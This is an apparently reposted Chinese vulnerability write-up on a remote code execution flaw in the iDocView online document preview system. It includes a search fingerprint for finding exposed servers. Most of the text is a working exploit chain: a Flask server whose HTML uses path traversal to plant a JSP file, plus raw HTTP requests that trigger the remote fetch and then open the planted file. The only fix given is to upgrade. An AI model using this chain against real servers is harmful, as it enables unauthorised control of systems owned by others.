0x01 前言
IDocView在线文档预览系统是由北京卓软在线信息技术有限公司开发的一套系统，用于在Web环境中展示和预览各种文档类型，如文本文档、电子表格、演示文稿、PDF文件等。该系统存在RCE漏洞，可直接控制服务器权限。
0x02 漏洞影响
0x03 漏洞利用
0x04 修复方案
0x05 下载地址
title=="在线文档预览 - I Doc View"
影响版本
iDocView < 13.10.1_20231115
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直接利用网上已公布的脚本进行复现
from flask import Flaskapp = Flask(__name__)def index():return """<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><title>title</title><link rel="stylesheet" href="..\..\..\docview\aaaa.jsp"></head><body></body></html>"""def jsp():return '''<%out.print("123");%>'''if __name__ == '__main__':app.run(host="0.0.0.0", port=39999)
EXP:
GET /html/2word?url=http://10.0.85.2:39999/index.html HTTP/1.1Host: 127.0.0.1:7070Cache-Control: max-age=0Sec-Ch-Ua: "Google Chrome";v="119", "Chromium";v="119", "Not?A_Brand";v="24"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close
success！
GET /aaaa.jsp HTTP/1.1Host: 127.0.0.1:7070Cache-Control: max-age=0Sec-Ch-Ua: "Google Chrome";v="119", "Chromium";v="119", "Not?A_Brand";v="24"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close
请升级最新版本。
原文始发于微信公众号（渗透Xiao白帽）：文末福利 | XVE-2023-23743 RCE漏洞（附EXP）
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